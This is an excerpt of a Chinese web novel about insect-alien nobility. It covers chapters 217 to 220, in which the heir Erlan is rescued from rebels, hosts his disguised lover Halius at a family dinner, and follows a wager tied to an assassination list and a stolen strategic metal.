厄兰看得神情抽搐,严重怀疑自己会被炸死在这里,那群家伙在武器库开火交战是不要命了吗?还是说霍恩格他们已经提前把东西悄悄转移了? 维瑟尔仿佛读懂了厄兰微妙的表情,语气戏谑:“放心,里面的弹药早就被我们转出去了,都是空箱子,炸不了的。” 在南部压倒性的兵力优势下,监控画面中的战况完全呈现一边倒的局势。黑鸦率领的小队节节败退,子弹贯穿躯体的闷响此起彼伏,鲜红的血液在密闭空间内喷溅成诡异的血雾,将整个武器库染成了可怖的屠宰场。“砰——!” 随着最后一声震耳欲聋的枪响,黑发蓝眸的军雌精准命中了黑鸦的咽喉,子弹穿透颈骨后余势未减,径直轰向角落的监控探头。 在屏幕陷入黑暗前的最后一秒,哈琉斯那双经过伪装的蓝色眼眸仿佛穿透了监控,他抬头与厄兰隔空 对视,唇边出现一抹令虫毛骨悚然的弧度,在血腥的背景衬托下显得格外意味深长,无声吐出一句话— “都弄死了。” 一个不剩…… 217、耍流氓 “砰——!” 监控室紧闭的大门陡然被虫从外面一脚端开,狭小的空间瞬间涌进了数不清的军雌,当为首的士兵看见椅子上坐着一名背对他们的黑色身影时,立刻警觉抬枪瞄准 “扔掉武器!双手抱头转过来!” 椅子上的虫闻言懒懒举起修长的双手,表示自己并没有任何武器,看袖口分明穿着叛军服饰。在所有士兵紧绷的注视下,只见他慢悠悠转过身,红点瞄准器微弱的光芒照亮了那张完美得挑不出一丝瑕疵的面容,神情似笑非笑,却怎么看怎么阴沉危险:“怎么,打算击毙我?” 那群士兵见状瞳孔骤缩,齐刷刷下压枪口,怎么也没想到他们全城搜救的雄虫居然会好端端坐在这里,而且身上还穿着叛军服饰,慌张解释道: “冕下,请您恕罪,我们并无此意!” 厄兰冷冷注视着这群士兵,看他们的目光就像在看一群蠢货—— 这群家伙不仅直到现在都没发现自己被哈琉斯当了枪使,而且营救效率简直低得令虫发指,赌一千万星币,如果没有哈琉斯故意带队,这群蠢货说不定要明年才能找到自己,到时候他坟头草都长三尺高了。 厄兰凉凉开口,语气不善:“你们是怎么找到这里的?” 为首的士兵喉结滚动,支支吾吾道:“是 是一个名叫阿斯法的士兵,他说看见您被叛军挟持,于是一路跟踪追查到了这个武器库,然后报告给了索亚上将…“ 果然。 厄兰轻笑一声。 这场荒唐的“营救”从头到尾都是哈琉斯一手策划的好戏,对方不仅借着南部的力量铲除了黑鸦这个死对头,而且还给“阿斯法”这个身份立下了大功,简直是箭双雕。 “他在哪儿?” “应该还在外面搜查其余逃跑的叛军。” 厄兰闻言站起身,径直朝着门外走去:“叫他们不用搜了,直接收队。” 霍恩格和维瑟尔这两个狡猾的家伙早在破门前一刻就从密道悄无声息逃走了,摆明是和哈琉斯提前串通好的,能抓到就出鬼了。 当厄兰在士兵的护送下离开这座武器库时,只见外面停着数十辆军用大卡,一名穿着白金色军装的熟悉身影正站在队伍最前方焦急来回走动,赫然是匆匆结束精锐选拔赶回来的索亚上将。 “雌父,您怎么也过来了?” 厄兰见状眉梢轻挑,毕竟在他的设想中对方现在应该还在托比亚森林才对,最快也得下个月才能回来。 索亚上将听见这道熟悉的声音脚步倏地一顿,他眼见厄兰平安出来,紧皱的眉头这才松缓下来,只是语气依旧紧绷严厉:“说什么胡话,你都被绑架了我能不赶过来吗?!” 他一边说一边快步迎上前,双手用力按住厄兰的肩膀上下打量,那双锐利的蓝眸翻涌着后怕与压抑的怒火:“你伤到哪里没有?那群该死的叛军” “我没事,就是那群叛军比较倒霉,已经被全部击毙了。” 厄兰轻轻耸肩,觉得自己大概创造了南部历史之最,貌似从来没有哪只雄虫接连两次被叛军绑架,又接连两次毫发无损回来的。 索亚上将闻言神色稍缓:“这次多亏有个士兵发现你被叛军绑架,暗中潜伏找到了这个武器库,否则也没办法这么快救出你。” 厄兰闻言唇边出现一抹不易察觉的笑意,慢悠悠拖长声调道:“哦~我出来的时候也听说了,是那个叫阿斯法的士兵嘛,他的身手倒是比那群酒囊饭袋强得多不如这样,您周末的时候请他来家里吃顿饭吧,就当答谢他这次救了我。”索亚上将微微皱眉,狐疑看向厄兰:“你确定?” 不是他不愿意,而是请吃饭完全不像厄兰的行事作风,换了以前他最多让那名士兵升个职加个薪什么的,哪有闲心请对方吃饭。 “确定。” 厄兰笑吟吟的,目光狐狸般狡黠, “而且您不是一直觉得在军部的得力助手不多吗,趁现在多培养一个也不错。” 索亚上将闻言垂眸思忖片刻,最后终于松口,毕竟他对那名叫阿斯法的士兵印象还不错: “好吧,那就听你的。” 当索亚上将要请吃饭的消息传到哈琉斯耳朵里时,已经是第二天的事了,彼时他正在军部处理那些叛军的善后工作,尽管是个新鲜的生面孔,但鉴于他是这次行动的大功臣,将来说不定 就青云直上了,所以身边围 了不少拍马屁的同僚。 “嘿,阿斯法,你这次可是走大运了,要知道你救出来的可是厄兰冕下,但凡他开一开金口,你在军部起码少走二十年弯路。” “去去去,没看阿斯法的身手比你强了百倍不止吗,就算没有厄兰冕下的帮助,他的升迁速度也早晚甩你一条街!” “以后第一军的明日之星非你莫属了。” 偌大的办公室热热闹闹,站在中心圈的黑发雌虫却始终维持着谦逊的垂眸姿势,他面对同僚的吹棒显得不卑不亢,蓝色的眼眸流泻出浅淡笑意,声音温和好似清泉 “过誉了,其实昨天的行动全靠大家鼎力配合,我只不过运气好发现了那群叛军的藏身地点,如果没有你们,恐怕也救不出厄兰冕下。” “阿斯法”是个十足十的新兵,当初厄兰把他的档案从治安署调到第一军时,连报到都没露面,以至于大家从来没听说过这个名不见经传的小兵。 现在他立下大功,却不见丝毫轻狂骄躁,面对来自同僚以及上级的交际甚至显得游刃有余,一些眼光毒辣的老油条已经能看出他的不简单,都想提前打好关系。 当阿珀走进办公室的时候,就见大家正热络围在一起,他屈指敲了敲门板,声音把所有军雌的视线都吸引了过去: “阿斯法,你出来一下。” 哈琉斯闻言下意识抬头,目光轻闪一瞬,随即浅笑颔首,礼貌示意同僚借过,在大家的注视下走到了办公室外面的楼梯拐角处。 “这是索亚上将让我转交给你的,说是周末想请你吃饭,答谢你救了厄兰冕下。” 阿珀说着递来一张烫金请柬,这是贵族常用的邀约方式,为了以示尊重。 哈琉斯闻言不由得淡淡挑眉,他伸手接过,垂眸扫了眼上面的时间地点,语气难掩兴味:“请吃饭吗?看起来不像是索亚上将的风格。” 这位将军在战场上有着杰出的指挥能力,但并不代表他喜欢应酬交际,尤其听说他当年在战场上留下了创伤性后遗症,导致脑神经受损,所以更加不喜欢和外界打交道。 阿珀的目光在他脸上停留片刻,意有所指道:“或许是那位冕下的意思吧,不管怎么说也是你第一次登门见面,尽量别失礼。” “失礼?”哈琉斯闻言屈指轻弹请柬,纸张在空气中发出清脆的声响,有淡淡的熏香味扩散开来,他似笑非笑地抬眼,心想又不是相亲,有什么好失礼不失礼的,却没再多说什么,只是淡淡吐出一句话:“知道了。” 对话本该到此结束,可阿珀却仍站在原地,他眉头微蹙,眼底闪过一丝挣扎,最终压低声音问道: “你……到底想做什么?” 他们的原计划是刺杀名单上那些腐朽的高官贵族,但这其中并不包括绑架厄兰、乔装潜入第一军团这些危险的变数,阿珀无意识攥紧指尖,只觉得事态早已脱离掌控,而眼前这个笑得云淡风轻的同谋者就是幕后那只操控一切的手。“你猜?” 哈琉斯闻言抬眼,走廊阳光斜落在他清俊的脸上,将那双剔透的蓝眸照得如同冰封的湖面,远看神情依旧谦逊有礼,语气却带着与厄兰如出一辙的、令虫不安的戏谑,尾调轻扬,像在讨论一场无关紧要的游戏。阿珀的喉结滚动了一下,军服下的肌肉不自觉绷紧,他张了张嘴,最终什么也没说出口,闭目的样子显得有些挫败。 “别紧张。” 哈琉斯忽然伸手,慢条斯理替阿珀抚平肩章上并不存在的皱褶,他的语气轻描淡写,却在对方耳畔吐出了一句毛骨悚然的话: “名单上的虫会一个不少地死去……只是现在,我想换种更有趣的玩法。” 他语罢收回手,漫不经心后退两步,就像一名最普通的士兵那样,似笑非笑对阿珀这名上尉敬了一个军礼:“长官,多谢您送来的请柬,如果没别的事我就先告辞了。” 周六中午的时候,哈琉斯拎着礼品准时按响了上将府的门铃,他穿着一身笔挺的白金色军装站在门外,清俊的面容隐在帽檐阴影下,看起来很有南部雌虫乖顺温和的特质,同时在心中暗 自思忖厄兰促成今天这场饭局在打什么鬼主意。—他早就说过了,不会再信这只雄虫的任何鬼话。 “咔哒。” 门铃按下没多久,房门就被推开了一条缝隙,哈琉斯见状不紧不慢后退两步,结果就见厄兰那张熟悉的面容出现在了自己眼前,对方仿佛刚刚才洗完澡,身上的白衬衫还带着湿漉漉的水汽,那张脸显得更加干净剔透,冷不J凑近时惊艳得让虫移不开眼。“你终于来了。” 厄兰笑吟吟望着他,也不知在打什么鬼主意,身形故意堵着门口,既不后退,也不让开。 哈琉斯见状目光在厄兰身上微不可察停顿一瞬,然后垂眸收回视线,他浅笑颔首,完美表现出了一个新兵第一次踏入上司家的拘谨和客套: “是的冕下,今天可能要打扰您和索亚上将了。” “没关系,反正我时间多的是,你可以随便打扰” 厄兰斜倚着门框,语罢侧身让开位置,示意哈琉斯进屋,却在雌虫与自己擦肩而过时忽然拉住对方的手腕,眼眸轻垂,笑意轻佻:“忘记说了,你今天还挺好看的。” 虽然还是那套军装,但说不出来为什么,好像比以前好看一些,难道是心理作用? 哈琉斯闻言抬眼看向厄兰,眼底似乎出现了一抹微不可察的、玩味的笑意,他修长的指尖隔着厄兰的衬衫下摆缓缓上移,最后停留在腰间打转,心想这只雄虫娇生惯养,对方的皮肤上或 许还残留着那天他们在密室偷情留下的痕迹:“是吗……. 他意味深长道, “您今天也格外惊艳。” 厄兰闻言目光暗了暗,他不动声色把哈琉斯抵在门上,呼吸沉重了几分,心想自己或许能在雌父下楼之前来一场荒诞刺激的偷情?然而这个念头刚刚冒出,头顶上方就陡然传来了一道低沉严肃的声音,像一盆冷水兜头浇下:“厄兰—!” 索亚上将不知何时从房间走了出来,正站在二楼皱眉望着他们——确切来说,那道锐利警告的视线是针对厄兰的,毕竟在他的视角里,自家虫崽估计是看阿斯法长得漂亮,正把对方抵在墙上强行耍流氓。厄兰:… 218、见家长 厄兰听见那道压抑着怒气的声音时,很清楚自己的雌父大概误会了些什么,他身形一滞,只好慢半拍松开哈琉斯,等再次转过身时,已然调整好面部表情,唇边勾起一抹恰到好处的笑意: “雌父,您下来了,我刚才只是和阿斯法开个玩笑而已。” 这句话听起来可信度不高,毕竟在南部总是雌虫更吃亏一些,尤其索亚上将年轻时没少见到那些好色雄虫倚仗身份肆意妄为,他皱眉走下楼梯,军靴落在地面发出沉闷的声响: “厄兰,阿斯法是第一次上门,不要开这些失礼的玩笑。” 厄兰轻轻耸肩:“好吧,抱歉我下次不会了。” 哈琉斯极少见到厄兰这么乖觉的模样,不由得多看了两眼等他把目光重新转向索亚上将,就见对方正望着自己,他不着痕迹垂下眼眸,清俊白皙的脸蔓延一层薄红,看起来十分腼腆无措,低声解释道: “索亚上将,您误会了,刚才是我不小心没站稳,所以厄兰冕下才伸手搀扶了一把……他并没有恶意。” 索亚上将没说什么,只觉得面前这名新兵大概又是一个被厄兰那副皮相迷得晕头转向的可怜雌虫,被卖了还傻兮兮帮忙数钱那种。 “厄兰从小被我惯坏了,如果有什么失礼之处,请你见谅。“ “您言重了,失礼的是我才对。” 厨师早已提前准备好了午饭,眼见宾客已经进屋,连忙将菜品——摆上餐桌,索亚上将拉开椅子在主位落座,厄兰和哈琉斯则分别坐在他的左手下侧和右手下侧。 “这顿便饭是为了答谢你上次潜入叛军巢穴救出厄兰,原本维多也该到场的,不过他今天有个紧急会议,可能一时半会儿没办法赶过来。” 索亚上将这番话藏着淡淡的歉意,他和维多秘书长都身居要职,虽然对厄兰这个独子疼爱万分,却难免有顾及不到的地方,这次如果不是哈琉斯冒险带队攻破据点,厄兰说不定真的会出什么危险。 哈琉斯闻言浅笑,一番话说得体面又动听:“厄兰冕下受虫神庇佑,相信就算没有我也一定可以平安脱险,至于清缴叛军,不过是我应尽的职责罢了。” 厄兰坐在餐桌对面,全程都没说话,直到听见这句话才终于抬了抬眼,他修长的指尖摩挲着瓷杯边缘,心中不免冒出几分兴味: 虫神庇佑?哈琉斯真的信这个玩意儿吗? “您何必这么谦虚,”厄兰忽然开口,悚懒懒倒入椅背,“叛军的据点那么隐蔽,而且通道机关重重,也不是谁都有那个本事找过去的,就是有些可惜,星际通缉榜上排名前三的那几个叛军都逃走了。”排名前三? 那不就是自己、霍恩格以及维瑟尔? 阿斯法意识到这点后,隐在帽檐下方的眼眸轻闪,他似笑非笑看向厄兰,声音难掩惋惜:“是吗,那真是太可惜了,冕下,请您放心,总有一天我会把他们全都抓捕归案的。” 厄兰端起瓷杯抿了一口水,遮住唇边若隐若现的弧度:“我绝对相信您有这个本事,那就静候您的好消息了。” 虽然索亚上将是寡言少语的性格,但厄兰和阿斯法在餐桌上却出乎意料聊得十分的投契 起码表面上来看是这样的,惹得他暗中观察了许久。 如果换做往常,索亚上将大概不会干涉厄兰的交往自由,但问题就出在厄兰对于他和缇宁的婚约还没有表达出一个明确的态度,现在就和别的雌虫黏黏糊糊传出去总归不太好听。 如果说厄兰喜欢缇宁,偏偏他态度冷淡,看起来一点儿也不像。 但如果说他不喜欢缇宁,前段时间自己问他要不要解除婚约,他又轻描淡写的说了句“不急”。 “笃。” 索亚上将忽然放下刀叉,金属餐具与瓷盘碰撞发出一声微不可察的轻响,他用餐巾擦了擦手,状似不经意提起了另一件事: “厄兰,你失踪的这段时间缇宁的雌父曾经多次问候,如果哪天没事你记得上门回礼致谢,顺便商量一下你和缇宁的婚礼什么时候举行。” 当最后一个字音落下的瞬间,餐桌上的氛围忽然降至一种微妙的冰点。 哈琉斯骨节分明的手握住刀叉,仍在不紧不慢切割食物,动作标准优雅,厄兰却动作一顿,连水果从叉子上滑落了都没察觉: “婚礼?” 厄兰一边挑眉发出询问,一边悄悄用眼角余光打量桌对面哈琉斯的神色:“我什么时候说要和缇宁结婚了?” 于是索亚上将第一次发现自家虫崽居然还有睁眼说瞎话这个本事,皱眉深深看了他一眼“前段时间我问你要不要和缇宁解除婚约,你说不要,难道不是想和他结婚吗?”“我什么时候说过不要了?” 因为理亏,厄兰的声音不自觉高了八个度, “我说的明明是不要和他结婚’,而不是不要和他解除婚约’,您一定是听错了。” 索亚上将没再说话,只是无意识握住了手边的杯子,片刻后又缓缓松开,厄兰有理由怀疑雌父那一瞬间是想用杯子把自己砸开瓢,但是看在血缘关系的份上又硬生生忍住了。 “没说过就没说过,你急什么?” 索亚上将缓缓吐出一口气平复情绪,以免在餐桌上失礼, “我前两天从你雄父那里听说了,缇宁在医院的时候就和一只雄虫纠缠不清,既然你也不喜欢他,那就抽时间尽快把婚约解除吧。” 厄兰闻言神情顿时变得微妙起来,一副牙疼的样子。 在他还没想出更好的、报复缇宁的办法之前,这么轻易就解除婚约老感觉太便宜对方了,他没道理给缇宁和海瑟那对狗东西扫清障碍啊? 一秒过去了, 两秒过去了, 三秒过去了。 厄兰还是没想好要不要答应。 就在索亚上将感觉自己的脑神经已经开始突突作痛时,餐桌上忽然响起了一声轻笑,就像一片深不可测的寒潭,水面上漂浮着名为“戏谑”的落叶,而深处则沉淀着名为“危险”的寒意。“索亚上将,厄兰冕下或许还是舍不得的。” 哈琉斯那张经过伪装的容貌看起来清俊无害,笑起来的时候比厄兰还要可信几分,他带着兴味的目光慢悠悠扫过坐在对面的雄虫,莫名有一种毒蛇沿着身躯缠绕的惊悚感,语气却格外温和,仿佛只是为了这对吵架的父子故意打圆场, “他大概只是吃醋缇宁少将和别的雄虫走太近了,所以才赌气说出要退婚的话,其实感情这回事,说开了也就好了,千万不要因为一时气愤而说出让自己后悔终身的话……. 哈琉斯说着说着,声音渐渐低了下去,他缓缓抬眼看向厄兰,那双近乎圣洁的冰蓝色眼眸落在帽檐阴影下,竟窥出了几分艳丽的毒性。 桌子下方,黑色的军靴不知是有意还是无意,轻轻划过雄虫的脚踝,触感冰凉冷硬,却藏着某种柔软旖旎的蛊惑,似笑非笑询问道: “厄兰冕下……您说是不是?“ 厄兰察觉到了桌下的异样,同时也听出了这段话里潜藏的威胁,他目光闪动一瞬,很快就从一堆致命答案里选出了一个最不致命的: “当然不是。” 厄兰定了定心神道:“我当初和缇宁在一起只是遵循帝国分配,本来也没什么感情,现在他又有了喜欢的雄虫,我就更不可能和他在一起了,只是…” 只是一想到解除婚约便宜了那对奸夫□□,他就感觉像被割了一块肉那么难受。 “只是缇宁的家族毕竟也算有头有脸,贸贸然解除婚约可能会带来一系列连锁反应,所以我觉得这件事还是和雄父商量一下,让他回来做主比较好。” 雄父比较聪明,等雄父回来让他想办法,狠狠把缇宁一家阴个底朝天! “是吗?” 哈琉斯闻言淡淡挑眉,他虽然在笑,笑意却不达眼底,却出乎意料没再深究这件事, “您的考虑也有道理。” 餐盘里的食物每一块都被切割成了近乎完美的尺寸大小,就像方块一样整整齐齐排列着,只是因为持刀者并没有开动,所以渐渐失去了温度和滋味,就像窗外缓缓下沉的大阳. 这顿饭最后在一种堪称静默的气氛中结束。 索亚上将也不知是不是被厄兰翻脸比翻书还快的态度气得头痛病发作,借口身体不舒服回了楼上,并嘱咐管家等会儿记得送哈琉斯回家。 厄兰却直接挥退管家,随手拿了件外套搭在臂弯里:“你去忙吧,我送他回家就好。” 哈琉斯看了厄兰一眼,什么都没说,转身径直走向门外。 深秋时节,本不该有花开放,但用金钱浇灌出的花园总是例外,依旧开满了各色各样不合时节的植物,馥郁的香气混杂在一起,浓烈得甚至有些刺鼻。 哈琉斯来的时候自己开了车,他走到悬浮车旁边正准备打开驾驶座车门,但没想到另一只手却抢先按住把手,并将他抵在了车门边,耳畔响起一道低沉熟悉的声音,不用回头就知道是厄兰:“生气了?” 哈琉斯闻言转身看向厄兰,顺势斜倚着车门,他抬手摘下军帽,下沉的夕阳给他清俊的脸庞镀上了一层模糊的金边,眼眸懒散垂下,唇角微勾:“您指哪方面?”厄兰这辈子最喜欢做的事好像就是往枪口上撞,他饶有兴趣回了两个字:“缇宁?” 哈琉斯不置可否,只是在厄兰吻过来时偏头避开,同时攥住对方的衣领强迫性靠近自己,温热的身躯贴得密不透风,在耳畔低声吐出一句语气亲昵的话: “冕下,我不得不提醒您一件事,从明天开始我们的赌约就正式生效了。” “五天后,我会从名单上划掉一个名字——说不定就是您亲爱的未婚夫?” 厄兰闻言一顿,却见哈琉斯缓缓松开了他的衣领,向后一倒,慵懒背靠着车门,对方此刻终于卸下了那副温顺谦和的伪装,如血般的夕阳在身后肆意铺展开来,眼底的阴鸷冰凉也毫无遮掩在厄兰面前肆意展露。厄兰永远不会知道,在餐桌上的时候,哈琉斯那一瞬间的情绪起伏并不是生气,而是不甘。 不甘他当年被送上军事法庭的时候,和厄兰解除婚约连半分钟都没用上,就那么坐在冰冷的审讯室里提笔签字,不多不少,刚好三秒。短短三秒, 却是他余生一败涂地的开始。 219、退婚 那件事已经过去了很多年,本不值一提,却偏偏在这个深秋的午后毫无预兆翻涌上来,像是记忆深处一枚早已落地的陈年苦果,倏然在舌尖泛起腐烂的滋味。 哈琉斯闭目仰头,缓缓吐出一口气。 都过去了,他心想…… 无论是审讯室里无休止的拷问,还是在那场爆炸中尸骨无存的战友,都远比那纸轻飘飘的退婚书要沉重得多。 他连过往用性命拼出的战功和荣光都可以舍弃了,难道还放不下当年那张写满命运捉弄的纸吗? 说到底不过是在苦水里浸泡了太久,倏而从甜水里尝到那么一点零星的真心,便会因为从前的蹉跎岁月而生出愤恨不甘来。 天色渐沉,像一滩晕开的浓墨,无声浸透了衣角。 哈琉斯背靠着车门,没有谁知道他在黑夜中缅怀什么只有飞虫被路灯光芒吸引,在苍白的灯罩下徒劳扑撞,发出细碎的声响,像极了那些早已死去的过往。 明知无望,却仍在他记忆的角落里嗡嗡作响。 “厄兰——” 哈琉斯盯着头顶的飞虫,冷不丁出声, “如果现在时光倒流回到四年前,你还会选择和我解除婚约吗?” 厄兰闻言一顿,显然没想到哈琉斯怎么会忽然问这个问题,他正欲回答,却在开口前一秒又被对方打断: “算了。” 哈琉斯站直身形,用军靴随意碾了一下地面,低垂的眉眼不经意流露出几分乖戾:“我对答案不感兴趣。” 他语罢打开车门坐上驾驶座,正准备驱车离开,车窗玻璃却传来一阵沉闷的叩响。哈琉斯动作一滞,只好按下车窗按钮,当隔阂消失的瞬间,厄兰的身影随即笼罩下来,对方周身的气息裹挟着夜晚的凉意,在他耳畔认真吐出了两个字:“不会。“ 厄兰的声音很低,却带着不容置疑的态度,他仿佛是怕哈琉斯没听清,又重复了一遍, “哈琉斯,不会的。” 倘若虫神垂怜,肯让光阴逆流,他又怎么会再次放弃对方?他只会赌上自己的一切——堆积如山的财富、显赫尊崇的地位、世代累积的名誉,以此来保住哈琉斯濒临破碎的信仰、摇摇欲坠的一生。 这句低沉简短的话承载着难以想象的重量。 因为财富和名利对于厄兰这种生来就站在云端的贵族来说,是比性命还要珍贵的东西 … 哈琉斯静静注视着厄兰,晦暗的眼眸不知在想些什么,情绪就像黑夜一样难以捉摸,他攥住方向盘的手悄无声息收紧,浅青色的血管蛇一般在苍白的手背上蜿蜒起伏,像是嶙峋骨感的艺术品。 黑暗中,厄兰悄无声息捏住了哈琉斯的下巴,迫使他偏头看来,然后在车窗边缘交 换了一个缱绻蛊惑的吻。这个吻看似短暂,舌尖相触的瞬间却带着令虫心惊的纠缠力道,发狠吮吸的时候甚至感受到了几分痛意。 哈琉斯微不可察皱眉,却并没有躲闪,好在没过多久这个吻就结束了。 厄兰用指腹摩挲着他泛红的唇角,长睫缓慢垂下,打落一片暖昧的阴影,轻声低语: “别忘记我们的赌约。” 厄兰其实并不在意那些利欲熏心者的死活。 但倘若能借他们完成赌约,也算物尽其用。 …… 秘金因其稀缺性和独特的材料特性被帝国列为一类战略稀缺资源。这种金属不仅拥有目前已知物质中最高的熔点,而且具有极高的断裂韧性,即使在标准销毁条件下也表现出极强的稳定性,因此成为制造战略威慑武器的核心材料。根据《帝国战略资源管理法案》规定,秘金的开采、加工及使用必须获得最高议会的特别授权,并且严禁私下买卖。 换句话说,秘金的价值虽然高到难以估量,但不好脱手且无法销毁。事情虽然已经过去了四年,但赃物多半还躺在那些高官贵族的藏宝库里,只要申请到搜查令虫赃并获,一切答案自然也就水落石出了。 “冕下,我按照您的吩咐暗中去那几名被刺身亡的官员家中探查,但并没有在他们的藏宝库里发现秘金的痕迹,会不会早就被悄悄转移了?” 黑鸦死后,厄兰又恢复了每天两点一线的上班生活,只不过这次跟在他身边保护的并不是阿斯法,而是重新调回来的阿珀— 没办法,阿斯法在外面忙着搞刺杀,别的虫又不太可信,思来想去居然只剩下了阿珀这个选择。 “继续查。” 厄兰靠着办公椅闭目养神,双腿交叠搭在桌角边缘,说话时连眼皮子都懒得掀:“那么大一批秘金,总不可能不翼而飞了,如果实在查不到…” 他说着顿了顿,不知想起什么,终于睁开双眼。修长的指尖从抽屉夹层里抽出一张名单,上面共有十五个名字,已经死了三个,按照地位高低排序,排在首位的赫然是虫帝的亲生弟弟帕颂亲王。 厄兰始终坚信一个真埋:任何超过两名成员以上的组织活动,必然存在一个核心领导者,既然从底层喽啰那里一无所获,那么利益必然流向了位高权重者手中。 他修长的指尖夹住那张名单轻抖了两下,在空气中发出清脆的声响:“那就去帕颂亲王的收藏室里转转吧,说不定你会有意外收获。” 阿珀迟疑了一瞬:“但是自从伊桑部长他们遭受刺杀惨死之后,帕颂亲王就很少出门了,每天深居简出,想去他家探查恐怕不容易。” 厄兰漫不经心开口“办法都是虫想出来的,他既然不出门,你们难道就不会想办法逼他出门吗?往他家里放把火,不管是重新搭建也好还是搬离也好,混进去很难吗?” 阿珀闻言神情难掩讶异,严重怀疑自己听错了,磕磕绊绊问道:“冕下,您的意思是…….让我放火把帕颂亲王的府邸给烧了?” 厄兰挑眉反问:“不然呢?难道你还想顺便把他一起给火化了?” 胆子这么小,难怪只能和哈琉斯打个三七开。 阿珀默默低下了头。 他在缺德方面比起厄兰确实还是差了点。 “不聊这个了,”厄兰从办公椅上懒洋洋坐直身形,转而问起了另外一件事,语气饶有兴趣,“你猜他下一个会杀谁?” 这个“他”指的是谁,自然不言而喻。 阿珀轻轻摇头:“冕下,刺杀顺序是随机的,并没有固定规律,如果非要猜一个的话……” 他隐晦看了厄兰一眼:“缇宁少将?” 厄兰: …. 好有力的猜测,居然无法反驳。 厄兰低头看了眼手腕上的终端,发现今天好巧不巧就是哈琉斯给出的第一个死亡日期,神情若有所思,不过他的思绪很快就被索亚上将发来的一条消息所打断,说是维多秘书长今天刚好结束工作回家,让他早点下班一起吃晚饭。 “我问过赫博检察长了,他说你最近在律法院的工作表现还不错,只是如果能专注自己的分内工作就更好了。” 维多秘书长虽然事务繁忙,但对厄兰还是很关心的,不过他做了多年政客,说话并不能单单只听表面内容,还得细品更深层次的含义。 厄兰原本在夹菜,闻言动作不由得一顿,然后慢悠悠收了回来:“分内工作是什么意思?” 维多秘书长拾眼看向这个不省心的虫患,伸手扶了扶眼镜,语意深深,暗藏提醒“厄兰,你最近的小动作有些大多了,一些与自己无关的事最好不要沾染大多,否则只会惹一身腥。” 精明利己是政客的特质,除非必要,维多秘书长绝不会插手那些与自己无关的事,可一旦涉及切身利害,他又会狠辣果决地出手,正是因为这份近乎冷酷的清醒,才能让他在波谲云诡的政坛中始终立于不败之地。 厄兰唇角微扬,看起来满不在乎:“雄父,怎么能说与我无关呢,秘金失窃案牵扯那么多权贵高层,在四年前轰动一时,直到现在也依旧有不少关注度,如果我能把失窃的秘金重新找出来……政绩看起来不是很漂亮吗?”维多秘书长镜片后的目光带着探究:“厄兰,你真的在乎那些政绩吗?” “我可以不在乎,但您就不同了。” 厄兰身形微倾,那双与维多秘书长相似的眼眸看起来就像狐狸一样滑不溜手, “听说您已经辞去内阁秘书长的职务,打算竞选这一届的总理,如果能在这个时候做出一件万众瞩目的政绩难道不是很好的拉票机会吗?总比那些虚张声势的家伙拿着大喇叭到处演讲强,而且这件事和帕颂亲王脱不了干系,也能狠狠打击一波皇室的公信力。”南部实行的是君主立宪制,虽然皇室依旧存在,但虫帝作为国家的象征往往统而不治,只保留部分形式上的权力,真正掌握实际行政权力的是联盟总理。维多秘书长在内阁已经工作了将近八年,该培养的势力培养了,该有的根基也有了,现在万事俱备,只欠东风,厄兰提出的建议未必没有参考性。维多秘书长思考片刻,不置可否: “我会考虑这件事,不过在此之前你最好不要给我捅娄子。” 厄兰笑吟吟点头:“请您放心,我保证不会的。” 他不会捅娄子,只会捅破天。 “对了,我还有一件事需要请您帮忙。” “说。” “帮我退掉和缇宁的婚约吧,我已经有了喜欢的雌虫,这门婚事没必要再继续保留。” 维多秘书长闻言喝水的动作一顿,偏头看向伴侣索亚征询真实性,发现对方点了点头表示确有其事,这才不紧不慢放下杯子: “退婚可以,不过你心有所属这个理由传出去可不太好听。” 厄兰闻弦音而知雅意:“那么您有什么好办法既可以让我成功退婚,传出去又合情合理呢?” 看的出来,维多秘书长也没打算让这门婚事继续下去,淡淡开口:“缇宁不是和一只名叫海瑟的雄虫纠缠不清吗,这不就是最现成的理由?” 厄兰暗自磨牙:“那我退婚岂不是成全了他们?” “怎么会?” 维多秘书长随手抽过军政杂志翻了一页,轻描淡写扔下了一个平地惊雷, “他们两个的匹配度只有53%,刚刚过及格线而已,按照繁衍法则是不能结为伴侣的,我前两天让帝国数据库重新筛选了一下,发现有一只雌虫和海瑟的匹配率达到了97%,估计再过不久婚姻署就会上门给他们安 排结婚仪式。“ 厄兰:“.… 220、缇宁的崩溃 既然退婚的事有了解决办法,厄兰也就没有再过多纠结,不过…… 他掀起眼皮看向墙上的复古挂钟,心想缇宁真的能活到第二天早上吗? 观看晚间新闻已经成为维多秘书长每天雷打不动的习惯,他吃完晚饭后照常打开星网节目,原本想了解一下最近新出台的几项政策反馈,结果发现临时插播了一条紧急新闻,主播口条清晰的声音从屏幕中传出,带着数十年如一日的平静严肃: “各位观众,晚上好,本台刚刚收到最新消息,帝国安全部副部长雷尼阁下今晚在其住所内不幸遇刺身亡……. “据现场勘察显示,雷尼阁下系遭遇蓄意暴力袭击致死,他身为帝国高级军事将领,精通作战,凶手不仅成功规避了安保系统,并在极短时间内完成作案,危险程度极高,最高执政当局对此案表示高度关注……” 厄兰原本正双手插兜,慢悠悠走上楼梯准备回房休息,新闻播报声却突然钻入耳朵,让他的脚步不着痕迹一顿,侧身看向楼下,只见新闻大屏接连闪过几张血淋淋的现场照片,虽然已经打了马赛克,但依旧不难脑补出当时惨烈的情形。 嗯? 厄兰见状眉梢轻轻一挑, 死的居然不是缇宁? 这个意外让他的眼底闪过了一丝疑惑,不过厄兰并不想引起维多秘书长的注意,所以不动声色转身回了房间,关门时依稀还能听见楼下传来的交谈声。 “又死了一个吗…… “是雷尼部长,看来那群叛军还没有完全撤离南部…. “我明天就派兵全城搜捕…… “不着急,先提前准备一下吧,或许过两天就要参加雷尼部长的葬礼了… 今年南部发生的官员遇刺案数量几乎超出了过往十年的总和,城中贵族只觉得他们的生活过得重复而又晕眩,每天不是参加葬礼就是在参加葬礼的路上,送出去的帛金加起来都能买套房了。 厄兰以前从来不出席这种活动,不过鉴于他早就成年,并且在律法院也领了职务,于情于理都该来吊唁一下,也就跟随维多秘书长和索亚上将起抵达了葬礼现场 虽说是在举办葬礼,现场却更像一场盛大的社交宴会,不仅听不见一丝呜咽或哀泣,反而全都在谈笑风生。那些宾客端着酒杯三五成群聚在一起,兴致勃勃讨论着哪颗星球又发现了金矿,死亡不过是这场名利游戏里最微不足道的背景板。 趁着维多秘书长和同僚交谈的时候,厄兰端着酒杯准备找个地方透透气,然而眼角余光不经意一瞥,忽然在宾客堆里捕捉到一张熟悉的面容,他漂亮的眼眸缓缓眯起,像是发现了什么有趣的事 